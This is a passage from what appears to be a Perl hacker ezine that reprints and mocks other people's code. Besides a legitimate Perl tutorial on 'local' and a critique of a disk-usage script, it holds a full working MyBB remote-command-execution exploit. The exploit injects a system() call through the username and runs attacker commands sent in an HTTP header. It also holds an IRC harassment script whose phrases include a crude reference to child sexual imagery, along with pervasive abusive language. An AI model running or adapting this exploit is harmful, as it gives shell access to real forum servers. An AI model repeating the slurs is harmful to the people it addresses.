#/aolmsg <nick> [to send a random aolmsg to <nick>
#/aoltopic [to set a random aoltopic on the channel
#/aolkick <nick> [to kick an aol lamer with a random aolkick msg
#
use Irssi;
use Irssi::Irc;
use strict;
our $VERSION = "0.02";
###############################
# these are the main commands #
###############################
sub aolsay { _aolsay("", @_) }
sub colaolsay { _aolsay("r", @_) }
sub aolkick { _aolkick("", @_) }
sub colaolkick { _aolkick("r", @_) }
sub _aolsay {
my ($flags, $text, $server, $dest) = @_;
if (!$server || !$server->{connected}) {
Irssi::print("Not connected to server");
return;
}
return unless $dest;
my $phrases = phrases();
my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];
$resp = rainbow($resp) if $flags =~ /r/i;
foreach my $line (split(/\n/, $resp)) {
if ($dest->{type} eq "CHANNEL" || $dest->{type} eq "QUERY") {
$dest->command("/msg " . $dest->{name} . " " . $line);
}
}
}
sub _aolkick {
my ($flags, $text, $server, $dest) = @_;
if (!$server || !$server->{connected}) {
Irssi::print("Not connected to server");
return;
}
return unless $dest;
my $phrases = phrases();
my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];
$resp = rainbow($resp) if $flags =~ /r/i;
$dest->command("KICK $text $resp");
}
sub rainbow {
# take text and make it colorful
my $text = shift;
my $row = 0;
my @colormap = _colormap();
my $newtext;
foreach my $line (split(/\n/, $text)) {
for (my $i = 0; $i < length($line); $i++) {
my $chr = substr($line, $i, 1);
my $color = $i + $row;
$color = $color ? $colormap[$color %($#colormap-1)] : $colormap[0];
$newtext .= "\003$color" unless ($chr =~ /\s/);
my $ord = ord($chr);
if (($ord >= 48 and $ord <= 57) or $ord == 44) {
$newtext .= "\26\26";
}
$newtext .= $chr;
}
$newtext .= "\n";
$row++;
}
return $newtext;
}
sub _colormap {
# just data for the rainbow routine
my @colormap = (
4,4,
7,7,
5,5,
8,8,
9,9,
3,3,
10,10,
11,11,
12,12,
2,2,
6,6,
13,13,
);
return @colormap;
}
# command bindings
Irssi::command_bind("aolsay", \&aolsay);
Irssi::command_bind("colaolsay", \&colaolsay);
#Irssi::command_bind("aolmsg", \&aolmsg);
#Irssi::command_bind("aoltopic", \&aoltopic);
Irssi::command_bind("aolkick", \&aolkick);
Irssi::command_bind("colaolkick", \&colaolkick);
sub phrases {
my @phrases = (
'ALL OREAND THE GIFCHERRY BUSH DA BOON CHASED DA WHEASELGIFPASTECLITNUGGET SHIT]',
'PHRASES CUT OUT DUE TO LACK OF RELEVANCE',
'KEWLI0, EYEV BIN WAITNIG FER J00, WHERE ARE DOZE KIDDIESEXGIFOGRAFZ DAT J00 SAID J00D GIB MEE???/?',
);
return \@phrases;
}
-[0x0D] # !dSR !good -----------------------------------------------------
We avoid attacking the same targets. HOWEVER, this is fresh code, and it still isn't good, so you deserve it.
#!/usr/bin/perl
# Tue Jun 13 12:37:12 CEST 2006 jolascoaga@514.es
#
# Exploit HOWTO - read this before flood my Inbox you bitch!
#
# - First you need to create the special user to do this use:
# ./mybibi.pl --host=http://www.example.com --dir=/mybb -1
# this step needs a graphic confirmation so the exploit writes a file
# in /tmp/file.png, you need to
# see this img and put the text into the prompt. If everything is ok,
# you'll have a new valid user created.
# * There is a file mybibi_out.html where the exploit writes the output
# for debugging.
# - After you have created the exploit or if you have a valid non common
# user, you can execute shell commands.
#
# TIPS:
# * Sometimes you have to change the thread Id, --tid is your friend ;)
# * Don't forget to change the email. You MUST activate the account.
# * Mejor karate aun dentro ti.
#
# LIMITATIONS:
# * If the admin have the username lenght < 28 this exploit doesn't works
#
# Greetz to !dSR ppl and unsec
#
# 514 still r0xing!
# learn how to use POD, asshole
# user config.
my $uservar = "C"; # don't use large vars.
my $password = "514r0x";
my $email = "514\@mailinator.com";
# I wonder how many days you spent figuring out how to escape the @ ;]
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;
$| = 1; # you can choose this or another one.
# the other one being...0? You realize this variable only holds those two values, right?
# Sweet, all randomly ordered in no way consistent with how they're used!
my ($proxy,$proxy_user,$proxy_pass, $username);
my ($host,$debug,$dir, $command, $del, $first_time, $tid);
my ($logged, $tid) = (0, 2);
$username = "'.system(getenv(HTTP_".$uservar.")).'";
my $options = GetOptions (
'host=s' => \$host,
'dir=s' => \$dir,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'debug' => \$debug,
'1' => \$first_time,
'tid=s' => \$tid,
'delete' => \$del);
# 1 is not a good option
&help unless ($host); # please don't try this at home.
# yes, don't.
# help() unless $host;
$dir = "/" unless($dir);
# drop the parens bitch
print "$host - $dir\n";
if ($host !~ /^http/) {
$host = "http://".$host;
}
LWP::Debug::level('+') if $debug;
my ($res, $req);
my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
$ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
create_user() if $first_time;
# see, there you go!
while () {
login() if !$logged;
print "mybibi> "; # lost connection
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
# chomp(my $command = <STDIN>); # you fucking noob
&send($command);
}
sub send {
chomp (my $cmd = shift);
my $h = $host.$dir."/newthread.php";
my $req = POST $h, [
'subject' => '514', # neg on the quoting
'message' => '/slap 514',
'previewpost' => 'Preview Post',
'action' => 'do_newthread',
'fid' => $tid,
'posthash' => 'e0561b22fe5fdf3526eabdbddb221caa'
];
$req->header($uservar => $cmd);
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($res->content =~ /You may not post in this/) {
print "[!] don't have perms to post. Change the Forum ID\n";
} else {
my ($data) = $res->content =~ m/(.*?)\<\!DOCT/is;
# still with the rat nasty regex
print $data;
}
}
sub login {
my $h = $host.$dir."/member.php";
my $req = POST $h,[
'username' => $username,
'password' => $password,
'submit' => 'Login',
'action' => 'do_login'
];
my $res = $ua->request($req);
if ($res->content =~ /You have successfully been logged/is) {
# there are also useful string commands like index()
print "[*] Login succesful!\n";
$logged = 1;
} else {
print "[!] Error login-in\n";
}
# damn, this sub wasn't even bad!
}
sub help {
print "Syntax: ./$0 --host=url --dir=/mybb [options] -1 --tid=2\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--debug\n";
print "the default directory is /\n";
print "\nExample\n";
print "bash# $0 --host=http(s)://www.server.com/\n";
print "\n";
exit(1);
# use heredocs, and keep your spacing consistent with other code
}
sub create_user {
# firs we need to get the img.
my $h = $host.$dir."/member.php";
print "Host: $h\n";
$req = HTTP::Request->new (GET => $h."?action=register");
$res = $ua->request ($req);
my $req = POST $h, [
'action' => "register",
'agree' => "I Agree"
];
print $req->as_string() if $debug;
$res = $ua->request($req);
my $content = $res->content();
# unnecessary .* sitting around
# read the fucking manual and learn regex
# perldoc perlre
# perldoc perlretut
# perldoc perlrequick
# perldoc perlreref
$content =~ m/.*(image\.php\?action.*?)\".*/is;
my $img = $1;
# you didn't see our trick last time?
my $req = HTTP::Request->new (GET => $host.$dir."/".$img);
$res = $ua->request ($req);
print $req->as_string();
if ($res->content) {
open (TMP, ">/tmp/file.png") or die($!);
print TMP $res->content;
close (TMP);
# UGLY
print "[*] /tmp/file.png created.\n";
}
my ($hash) = $img =~ m/hash=(.*?)$/;
# see, you know this trick
my $img_str = get_img_str();
unlink ("/tmp/file.png");
$img_str =~ s/\n//g;
my $req = POST $h, [
'username' => $username,
'password' => $password,
'password2' => $password,
'email' => $email,
'email2' => $email,
'imagestring' => $img_str,
'imagehash' => $hash,
'allownotices' => 'yes',
'receivepms' => 'yes',
'pmpopup' => 'no',
'action' => "do_register",
'regsubmit' => "Submit Registration"
];
$res = $ua->request($req);
print $req->as_string() if $debug;
open (OUT, ">mybibi_out.html");
print OUT $res->content;
print "Check $email for confirmation or mybibi_out.html if there are some error\n";
}
sub get_img_str ()
{
print "\nNow I need the text shown in /tmp/file.png: ";
my $str = <STDIN>;
return $str;
}
exit 0;
This comes across as shitty code, with little bits that you stole from coders that actually know how to code.
-[0x0E] # School You: MJD ------------------------------------------------
Introduction
In my article Coping With Scoping I offered the advice ``Always use my; never use local.'' The most
common use for both is to provide your subroutines with private variables, and for this application
you should always use my, and never local. But many readers (and the tech editors) noted that local
isn't entirely useless; there are cases in which my doesn't work, or doesn't do what you want. So I
promised a followup article on useful uses for local. Here they are.
1. Special Variables
my makes most uses of local obsolete. So it's not surprising that the most common useful uses of
local arise because of peculiar cases where my happens to be illegal.
The most important examples are the punctuation variables such as $", $/, $^W, and $_. Long ago
Larry decided that it would be too confusing if you could my them; they're exempt from the normal
package scheme for the same reason. So if you want to change them, but have the change apply to
only part of the program, you'll have to use local.
As an example of where this might be useful, let's consider a function whose job is to read in an
entire file and return its contents as a single string:
sub getfile {
my $filename = shift;
open F, "< $filename" or die "Couldn't open `$filename': $!";
my $contents = '';
while (<F>) {
$contents .= $_;
}
close F;
return $contents;
}
This is inefficient, because the <F> operator makes Perl go to all the trouble of breaking the file
into lines and returning them one at a time, and then all we do is put them back together again.
It's cheaper to read the file all at once, without all the splitting and reassembling. (Some people
call this slurping the file.) Perl has a special feature to support this: If the $/ variable is
undefined, the <...> operator will read the entire file all at once:
sub getfile {
my $filename = shift;
open F, "< $filename" or die "Couldn't open `$filename': $!";
$/ = undef; # Read entire file at once
$contents = <F>; # Return file as one single `line'
close F;
return $contents;
}
There's a terrible problem here, which is that $/ is a global variable that affects the semantics
of every <...> in the entire program. If getfile doesn't put it back the way it was, some other
part of the program is probably going to fail disastrously when it tries to read a line of input
and gets the whole rest of the file instead. Normally we'd like to use my, to make the change local
to the functions. But we can't here, because my doesn't work on punctuation variables; we would get
the error
Can't use global $/ in "my" ...
if we tried. Also, more to the point, Perl itself knows that it should look in the global variable
$/ to find the input record separator; even if we could create a new private varible with the same
name, Perl wouldn't know to look there. So instead, we need to set a temporary value for the global
variable $/, and that is exactly what local does:
sub getfile {
my $filename = shift;
open F, "< $filename" or die "Couldn't open `$filename': $!";
local $/ = undef; # Read entire file at once
$contents = <F>; # Return file as one single `line'
close F;
return $contents;
}
The old value of $/ is restored when the function returns. In this example, that's enough for
safety. In a more complicated function that might call some other functions in a library somewhere,
we'd still have to worry that we might be sabotaging the library with our strange $/. It's probably
best to confine changes to punctuation variables to the smallest possible part of the program:
sub getfile {
my $filename = shift;
open F, "< $filename" or die "Couldn't open `$filename': $!";
my $contents;
{ local $/ = undef; # Read entire file at once
$contents = <F>; # Return file as one single `line'
} # $/ regains its old value
close F;
return $contents;
}
This is a good practice, even for simple functions like this that don't call any other subroutines.
By confining the changes to $/ to just the one line we want to affect, we've prevented the
possibility that someone in the future will insert some calls to other functions that will break
because of the change. This is called defensive programming.
Although you may not think about it much, localizing $_ this way can be very important. Here's a
slightly different version of getfile, one which throws away comments and blank lines from the file
that it gets:
sub getfile {
my $filename = shift;
local *F;
open F, "< $filename" or die "Couldn't open `$filename': $!";
my $contents;
while (<F>) {
s/#.*//; # Remove comments
next unless /\S/; # Skip blank lines
$contents .= $_; # Save current (nonblank) line
}
return $contents;
}
This function has a terrible problem. Here's the terrible problem: If you call it like this:
foreach (@array) {
...
$f = getfile($filename);
...
}
it clobbers the elements of @array. Why? Because inside a foreach loop, $_ is aliased to the
elements of the array; if you change $_, it changes the array. And getfile does change $_. To
prevent itself from sabotaging the $_ of anyone who calls it, getfile should have local $_ at the
top.
Other special variables present similar problems. For example, it's sometimes convenient to change
$", $,, or $\ to alter the way print works, but if you don't arrange to put them back the way they
were before you call any other functions, you might get a big disaster:
# Good style:
{ local $" = ')(';
print ''Array a: (@a)\n``;
}
# Program continues safely...
Another common situation in which you want to localize a special variable is when you want to
temporarily suppress warning messages. Warnings are enabled by the -w command-line option, which in
turn sets the variable $^W to a true value. If you reset $^W to a false value, that turns the
warnings off. Here's an example: My Memoize module creates a front-end to the user's function and
then installs it into the symbol table, replacing the original function. That's what it's for, and
it would be awfully annyoying to the user to get the warning
Subroutine factorial redefined at Memoize.pm line 113
every time they tried to use my module to do what it was supposed to do. So I have
{
local $^W = 0; # Shut UP!
*{$name} = $tabent->{UNMEMOIZED}; # Otherwise this issues a warning
}
which turns off the warning for just the one line. The old value of $^W is automatically restored
after the chance of getting the warning is over.
2. Localized Filehandles
Let's look back at that getfile function. To read the file, it opened the filehandle F. That's
fine, unless some other part of the program happened to have already opened a filehandle named F,
in which case the old file is closed, and when control returns from the function, that other part
of the program is going to become very confused and upset. This is the `filehandle clobbering
problem'.
This is exactly the sort of problem that local variables were supposed to solve. Unfortunately,
there's no way to localize a filehandle directly in Perl.
Well, that's actually a fib. There are three ways to do it:
You can cast a magic spell in which you create an anonymous glob, extract the filehandle from it,
and discard the rest of the glob.
You can use the Filehandle or IO::Handle modules, which cast the spell I just described, and
present you with the results, so that you don't have to perform any sorcery yourself.
See below.
The simplest and cheapest way to solve the `filehandle clobbering problem' is a little bit obscure.
You can't localize the filehandle itself, but you can localize the entry in Perl's symbol table
that associates the filehandle's name with the filehandle. This entry is called a `glob'. In Perl,
variables don't have names directly; instead the glob has a name, and the glob gathers together the
scalar, array, hash, subroutine, and filehandle with that name. In Perl, the glob named F is
denoted with *F.
To localize the filehandle, we actually localize the entire glob, which is a little hamfisted:
sub getfile {
my $filename = shift;
local *F;
open F, "< $filename" or die "Couldn't open `$filename': $!";
local $/ = undef; # Read entire file at once
$contents = <F>; # Return file as one single `line'
close F;
return $contents;
}
local on a glob does the same as any other local: It saves the current value somewhere, creates a
new value, and arranges that the old value will be restored at the end of the current block. In
this case, that means that any filehandle that was formerly attached to the old *F glob is saved,
and the open will apply to the filehandle in the new, local glob. At the end of the block,
filehandle F will regain its old meaning again.
This works pretty well most of the time, except that you still have the usual local worries about
called subroutines changing the localized values on you. You can't use my here because globs are
all about the Perl symbol table; the lexical variable mechanism is totally different, and there is
no such thing as a lexical glob.
With this technique, you have the new problem that getfile() can't get at $F, @F, or %F either,
because you localized them all, along with the filehandle. But you probably weren't using any
global variables anyway. Were you? And getfile() won't be able to call &F, for the same reason.
There are a few ways around this, but the easiest one is that if getfile() needs to call &F, it
should name the local filehandle something other than F.
use FileHandle does have fewer strange problems. Unfortunately, it also sucks a few thousand lines
of code into your program. Now someone will probably write in to complain that I'm exaggerating,
because it isn't really 3,000 lines, some of those are white space, blah blah blah. OK, let's say
it's only 300 lines to use FileHandle, probably a gross underestimate. It's still only one line to
localize the glob. For many programs, localizing the glob is a good, cheap, simple way to solve the
problem.
Localized Filehandles, II
When a localized glob goes out of scope, its open filehandle is automatically closed. So the close
F in getfile is unnecessary:
sub getfile {
my $filename = shift;
local *F;
open F, "< $filename" or die "Couldn't open `$filename': $!";
local $/ = undef; # Read entire file at once
return <F>; # Return file as one single `line'
} # F is automatically closed here
That's such a convenient feature that it's worth using even when you're not worried that you might
be clobbering someone else's filehandle.
The filehandles that you get from FileHandle and IO::Handle do this also.
Marginal Uses of Localized Filehandles
As I was researching this article, I kept finding common uses for local that turned out not to be
useful, because there were simpler and more straightforward ways to do the same thing without using
local. Here is one that you see far too often:
People sometimes want to pass a filehandle to a subroutine, and they know that you can pass a
filehandle by passing the entire glob, like this:
$rec = read_record(*INPUT_FILE);
sub read_record {
local *FH = shift;
my $record;
read FH, $record, 1024;
return $record;
}
Here we pass in the entire glob INPUT_FILE, which includes the filehandle of that name. Inside of
read_record, we temporarily alias FH to INPUT_FILE, so that the filehandle FH inside the function
is the same as whatever filehandle was passed in from outside. The when we read from FH, we're
actually reading from the filehandle that the caller wanted. But actually there's a more
straightforward way to do the same thing:
$rec = read_record(*INPUT_FILE);
sub read_record {
my $fh = shift;
my $record;
read $fh, $record, 1024;
return $record;
}
You can store a glob into a scalar variable, and you can use such a variable in any of Perl's I/O
functions wherever you might have used a filehandle name. So the local here was unnecessary.
Dirhandles
Filehandles and dirhandles are stored in the same place in Perl, so everything this article says
about filehandles applies to dirhandles in the same way.
3. The First-Class Filehandle Trick
Often you want to put filehandles into an array, or treat them like regular scalars, or pass them
to a function, and you can't, because filehandles aren't really first-class objects in Perl. As
noted above, you can use the FileHandle or IO::Handle packages to construct a scalar that acts
something like a filehandle, but there are some definite disadvantages to that approach.
Another approach is to use a glob as a filehandle; it turns out that a glob will fit into a scalar
variable, so you can put it into an array or pass it to a function. The only problem with globs is
that they are apt to have strange and magical effects on the Perl symbol table. What you really
want is a glob that has been disconnected from the symbol table, so that you can just use it like a
filehandle and forget that it might once have had an effect on the symbol table. It turns out that
there is a simple way to do that:
my $filehandle = do { local *FH };
do just introduces a block which will be evaluated, and will return the value of the last
expression that it contains, which in this case is local *FH. The value of local *FH is a glob. But
what glob?
local takes the existing FH glob and temporarily replaces it with a new glob. But then it
immediately goes out of scope and puts the old glob back, leaving the new glob without a name. But
then it returns the new, nameless glob, which is then stored into $filehandle. This is just what we
wanted: A glob that has been disconnected from the symbol table.
You can make a whole bunch of these, if you want:
for $i (0 .. 99) {
$fharray[$i] = do { local *FH };
}
You can pass them to subroutines, return them from subroutines, put them in data structures, and
give them to Perl's I/O functions like open, close, read, print, and <...> and they'll work just
fine.
4. Aliases
Globs turn out to be very useful. You can assign an entire glob, as we saw above, and alias an
entire symbol in the symbol table. But you don't have to do it all at once. If you say
*GLOB = $reference;
then Perl only changes the meaning of part of the glob. If the reference is a scalar reference, it
changes the meaning of $GLOB, which now means the same as whatever scalar the reference referred
to; @GLOB, %GLOB and the other parts don't change at all. If the reference is a hash reference,
Perl makes %GLOB mean the same as whatever hash the reference referred to, but the other parts stay
the same. Similarly for other kinds of references.
You can use this for all sorts of wonderful tricks. For example, suppose you have a function that
is going to do a lot of operations on $_[0]{Time}[2] for some reason. You can say
*arg = \$_[0]{Time}[2];
and from then on, $arg is synonymous with $_[0]{Time}[2], which might make your code simpler, and
probably more efficient, because Perl won't have to go digging through three levels of indirection
every time. But you'd better use local, or else you'll permanently clobber any $arg variable that
already exists. (Gurusamy Sarathy's Alias module does this, but without the local.)
You can create locally-scoped subroutines that are invisible outside a block by saying
*mysub = sub { ... } ;
and then call them with mysub(...). But you must use local, or else you'll permanently clobber any
mysub subroutine that already exists.
5. Dynamic Scope
local introduces what is called dynamic scope, which means that the `local' variable that it
declares is inherited by other functions called from the one with the declaration. Usually this
isn't what you want, and it's rather a strange feature, unavailable in many programming languages.
To see the difference, consider this example:
first();
sub first {
local $x = 1;
my $y = 1;
second();
}
sub second {
print "x=", $x, "\n";
print "y=", $y, "\n";
}
The variable $y is a true local variable. It's available only from the place that it's declared up
to the end of the enclosing block. In particular, it's unavailable inside of second(), which prints
"y=", not "y=1". This is is called lexical scope.
local, in contrast, does not actually make a local variable. It creates a new `local' value for a
global variable, which persists until the end of the enclosing block. When control exits the block,
the old value is restored. But the variable, and its new `local' value, are still global, and hence
accessible to other subroutines that are called before the old value is restored. second() above
prints "x=1", because $x is a global variable that temporarily happens to have the value 1. Once
first() returns, the old value will be restored. This is called dynamic scope, which is a misnomer,
because it's not really scope at all.
For `local' variables, you almost always want lexical scope, because it ensures that variables that
you declare in one subroutine can't be tampered with by other subroutines. But every once in a
strange while, you actually do want dynamic scope, and that's the time to get local out of your bag
of tricks.
Here's the most useful example I could find, and one that really does bear careful study. We'll
make our own iteration syntax, in the same family as Perl's grep and map. Let's call it `listjoin';
it'll combine two lists into one:
@list1 = (1,2,3,4,5);
@list2 = (2,3,5,7,11);
@result = listjoin { $a + $b } @list1, @list2;
Now the @result is (3,5,8,11,16). Each element of the result is the sum of the corresponding terms
from @list1 and @list2. If we wanted differences instead of sums, we could have put { $a - $b }. In
general, we can supply any code fragment that does something with $a and $b, and listjoin will use
our code fragment to construct the elements in the result list.
Here's a first cut at listjoin:
sub listjoin (&\@\@) {
Ooops! The first line already has a lot of magic. Let's stop here and sightsee a while before we go
on. The (&\@\@) is a prototype. In Perl, a prototype changes the way the function is parsed and the
way its arguments are passed.
In (&\@\@), The & warns the Perl compiler to expect to see a brace-delimited block of code as
the first argument to this function, and tells Perl that it should pass listjoin a reference to
that block. The block behaves just like an anonymous function. The \@\@ says that listjoin should
get two other arguments, which must be arrays; Perl will pass listjoin references to these two
arrays. If any of the arguments are missing, or have the wrong type (a hash instead of an array,
for example) Perl will signal a compile-time error.
The result of this little wad of punctuation is that we will be able to write
listjoin { $a + $b } @list1, @list2;
and Perl will behave as if we had written
listjoin(sub { $a + $b }, \@list1, \@list2);
instead. With the prototype, Perl knows enough to let us leave out the parentheses, the sub, the
first comma, and the slashes. Perl has too much punctuation already, so we should take advantage of
every opportunity to use less.
Now that that's out of the way, the rest of listjoin is straightforward:
sub listjoin (&\@\@) {
my $code = shift; # Get the code block
my $arr1 = shift; # Get reference to first array
my $arr2 = shift; # Get reference to second array
my @result;
while (@$arr1 && @$arr2) {
my $a = shift @$arr1; # Element from array 1 into $a
my $b = shift @$arr2; # Element from array 2 into $b
push @result, &$code(); # Execute code block and get result
}
return @result;
}
listjoin simply runs a loop over the elements in the two arrays, putting elements from each into $a
and $b, respectively, and then executing the code and pushing the result into @result. All very
simple and nice, except that it doesn't work: By declaring $a and $b with my, we've made them
lexical, and they're unavailable to the $code.
Removing the my's from $a and $b makes it work:
$a = shift @$arr1;
$b = shift @$arr2;
But this solution is boobytrapped. Without the my declaration, $a and $b are global variables, and
whatever values they had before we ran listjoin are lost now.
The correct solution is to use local. This preserves the old values of the $a and $b variables, if
there were any, and restores them when listjoin() is finished. But because of dynamic scoping, the
values set by listjoin() are inherited by the code fragment. Here's the correct solution:
sub listjoin (&\@\@) {
my $code = shift;
my $arr1 = shift;
my $arr2 = shift;
my @result;
while (@$arr1 && @$arr2) {
local $a = shift @$arr1;
local $b = shift @$arr2;
push @result, &$code();
}
return @result;
}
You might worry about another problem: Suppose you had strict 'vars' in force. Shouldn't listjoin {
$a + $b } be illegal? It should be, because $a and $b are global variables, and the purpose of
strict 'vars' is to forbid the use of unqualified global variables.
But actually, there's no problem here, because strict 'vars' makes a special exception for $a and
$b. These two names, and no others, are exempt from strict 'vars', because if they weren't, sort
wouldn't work either, for exactly the same reason. We're taking advantage of that here by giving
listjoin the same kind of syntax. It's a peculiar and arbitrary exception, but one that we're happy
to take advantage of.
Here's another example in the same vein:
sub printhash (&\%) {
my $code = shift;
my $hash = shift;
local ($k, $v);
while (($k, $v) = each %$hash) {
print &$code();
}
}
Now you can say
printhash { "$k => $v\n" } %capitals;
and you'll get something like
Athens => Greece
Moscow => Russia
Helsinki => Finland
or you can say
printhash { "$k," } %capitals;
and you'll get
Athens,Moscow,Helsinki,
Note that because I used $k and $v here, you might get into trouble with strict 'vars'. You'll
either have to change the definition of printhash to use $a and $b instead, or you'll have to use
vars qw($k $v).
6. Dynamic Scope Revisited
Here's another possible use for dynamic scope: You have some subroutine whose behavior depends on
the setting of a global variable. This is usually a result of bad design, and should be avoided
unless the variable is large and widely used. We'll suppose that this is the case, and that the
variable is called %CONFIG.
You want to call the subroutine, but you want to change its behavior. Perhaps you want to trick it
about what the configuration really is, or perhaps you want to see what it would do if the
configuration were different, or you want to try out a fake configuration to see if it works. But
you don't want to change the real global configuration, because you don't know what bizarre effects
that will have on the rest of the program. So you do
local %CONFIG = (new configuration here);
the_subroutine();
The changed %CONFIG is inherited by the subroutine, and the original configuration is restored
automatically when the declaration goes out of scope.
Actually in this kind of circumstance you can sometimes do better. Here's how: Suppose that the
%CONFIG hash has lots and lots of members, but we only want to change $CONFIG{VERBOSITY}. The
obvious thing to do is something like this:
my %new_config = %CONFIG; # Copy configuration
$new_config{VERBOSITY} = 1000; # Change one member
local %CONFIG = %new_config; # Copy changed back, temporarily
the_subroutine(); # Subroutine inherits change
But there's a better way:
local $CONFIG{VERBOSITY} = 1000; # Temporary change to one member!
the_subroutine();
You can actually localize a single element of an array or a hash. It works just like localizing any
other scalar: The old value is saved, and restored at the end of the enclosing scope.
Marginal Uses of Dynamic Scoping
Like local filehandles, I kept finding examples of dynamic scoping that seemed to require local,
but on further reflection didn't. Lest you be tempted to make one of these mistakes, here they are.
One application people sometimes have for dynamic scoping is like this: Suppose you have a
complicated subroutine that does a search of some sort and locates a bunch of items and returns a
list of them. If the search function is complicated enough, you might like to have it simply
deposit each item into a global array variable when its found, rather than returning the complete
list from the subroutine, especially if the search subroutine is recursive in a complicated way:
sub search {
# do something very complicated here
if ($found) {
push @solutions, $solution;
}
# do more complicated things
}
This is dangerous, because @solutions is a global variable, and you don't know who else might be
using it.
In some languages, the best answer is to add a front-end to search that localizes the global
@solutions variable:
sub search {
local @solutions;
realsearch(@_);
return @solutions;
}
sub realsearch {
# ... as before ...
}
Now the real work is done in realsearch, which still gets to store its solutions into the global
variable. But since the user of realsearch is calling the front-end search function, any old value
that @solutions might have had is saved beforehand and restored again afterwards.
There are two other ways to accomplish the same thing, and both of them are better than this way.
Here's one:
{ my @solutions; # This is private, but available to both functions
sub search {
realsearch(@_);
return @solutions;
}
sub realsearch {
# ... just as before ...
# but now it modifies a private variable instead of a global one.
}
}
Here's the other:
sub search {
my @solutions;
realsearch(\@solutions, @_);
return @solutions;
}
sub realsearch {
my $solutions_ref = shift;
# do something very complicated here
if ($found) {
push @$solutions_ref, $solution;
}
# do more complicated things
}
One or the other of these strategies will solve most problems where you might think you would want
to use a dynamic variable. They're both safer than the solution with local because you don't have
to worry that the global variable will `leak' out into the subroutines called by realsearch.
One final example of a marginal use of local: I can imagine an error-handling routine that examines
the value of some global error message variable such as $! or $DBI::errstr to decide what to do. If
this routine seems to have a more general utility, you might want to call it even when there wasn't
an error, because you want to invoke its cleanup behavor, or you like the way it issues the error
message, or whatever. It should accept the message as an argument instead of examining some fixed
global variable, but it was badly designed and now you can't change it. If you're in this kind of
situation, the best solution might turn out to be something like this:
local $DBI::errstr = "Your shoelace is untied!";
handle_error();
Probably a better solution is to find the person responsible for the routine and to sternly remind
them that functions are more flexible and easier to reuse if they don't depend on hardwired global
variables. But sometimes time is short and you have to do what you can.
7. Perl 4 and Other Relics
A lot of the useful uses for local became obsolete with Perl 5; local was much more useful in Perl
4. The most important of these was that my wasn't available, so you needed local for private
variables.
If you find yourself programming in Perl 4, expect to use a lot of local. my hadn't been invented
yet, so we had to do the best we could with what we had.
Summary
Useful uses for local fall into two classes: First, places where you would like to use my, but you
can't because of some restriction, and second, rare, peculiar or contrived situations.
For the vast majority of cases, you should use my, and avoid local whenever possible. In
particular, when you want private variables, use my, because local variables aren't private.
Even the useful uses for local are mostly not very useful.
Revised rule of when to use my and when to use local:
(Beginners and intermediate programmers.) Always use my; never use local unless you get an error
when you try to use my.
(Experts only.) Experts don't need me to tell them what the real rules are.
-[0x0F] # Intermission ---------------------------------------------------
<Hobbes> brian d foy?
<Hobbes> are you fuckin kiddin me?
<Hobbes> do you know what that means
<Kant> that I've vastly expanded our realm of attack?
<Kant> that I've ruined any and all remaining opportunity for support from the mainstream perl community?
<Kant> that I've continued on our path of suicidal aggravation?
<Hobbes> um yah no shit
<Hobbes> thats not good
<Socrates> Sure it is. That is what we are here for, after all.
<Kant> :]
<Hobbes> youre insane
<Hobbes> both of you
<Kant> no YOU'RE insane
<Kant> the rest of us are perfectly fine with the situation
<Socrates> Actually, I think you should write this one, Hobbes.
<Hobbes> :(
-[0x10] # Part Two: Back to School ---------------------------------------
Are you excited? Time for some of us to go back to schooling, and for some
others to go back to getting schooled. It is publication season again. Other
ezines such as h0no, hackthiszine, and Zero for 0wned have set the pace. It
is time to be serious. It is time to hit the books. Time to crack some
skulls.
-[0x11] # brian d fucking foy --------------------------------------------
brian d foy, the man, the legend. He's a teacher, a leader, and an icon. He's the right hand man in
Stonehenge. The man has authored Perl books and the Perl Review, and has contributed many modules
to CPAN. He's everywhere. We all know his name.
For our School You sections of positive literature we tend to select articles or items of code that
impress us, or interest us, or just leave a smile on our face. For this issue we deliberately went
looking for some random brian d foy code, as we did for many others who had so far been excluded.
We were shocked that instead of brilliance, we came across this. We really were trying to be good,
happy, brian d foy fans.
There was a small issue as to whether or not we could pursue this. The code isn't bad, but it has
weaknesses and shows a clear lack of attention. The same ethics that made us attack the elite and
famous for their shit code makes us obligated to strike here, where the Perl should be impeccable.
This critique is still very soft. brian d foy doesn't need to justify his sometimes odd or archaic
design and/or syntax methods. The release isn't bad either, because it is a script I'm sure some
found useful, and is essentially modest.
#!/usr/bin/perl
# no strict? no warnings?
open my( $pipe ), "du -a |";
my $files = Local::lines->new;
while( <$pipe> )
{
chomp;
my( $size, $file ) = split /\s+/, $_, 2;
next if -d $file;
next if $file eq ".";
$files->add( $size, "$file" ); # must you make me cry?
# how could you quote that?
# brian d foy, what were you on?
}
package Local::lines;
use Curses;
use vars qw($win %rindex);
use constant MAX => 24;
use constant SIZE => 0;
use constant NAME => 1;
use Data::Dumper qw(Dumper);
# A lot of this code makes me question just how old it is
# It isn't old, these are just, shall we say, "historical", choices.
# Although I will ask, why the hell is this file structured as it is?
sub new
{
my $self = bless [], __PACKAGE__;
$self->init();
return $self;
# why the vocal return here only?
}
sub init
{
my $self = shift;
initscr;
$win = Curses->new;
for( my $i = MAX; $i >= 0; $i-- )
{
$self->size( $i, undef );
$self->name( $i, '' );
}
}
sub DESTROY { endwin; }
sub add
{
my $self = shift;
my( $size, $name ) = @_;
# add new entries at the end
if( $size > $self->size( MAX ) )
{
$self->last( $size, $name );
$self->sort;
}
$self->draw();
}
sub sort
{
my $self = shift;
no warnings;
# do what you have to do
$self->elements(
sort { $b->[SIZE] <=> $a->[SIZE] } $self->elements
);
%rindex = map { $self->name( $_ ), $_ } 0 .. MAX - 1;
# quite the choppy solution, a global, despite the solid OO design
}
sub elements
{
my $self = shift;
if( @_ ) { @$self = @_ }
@$self;
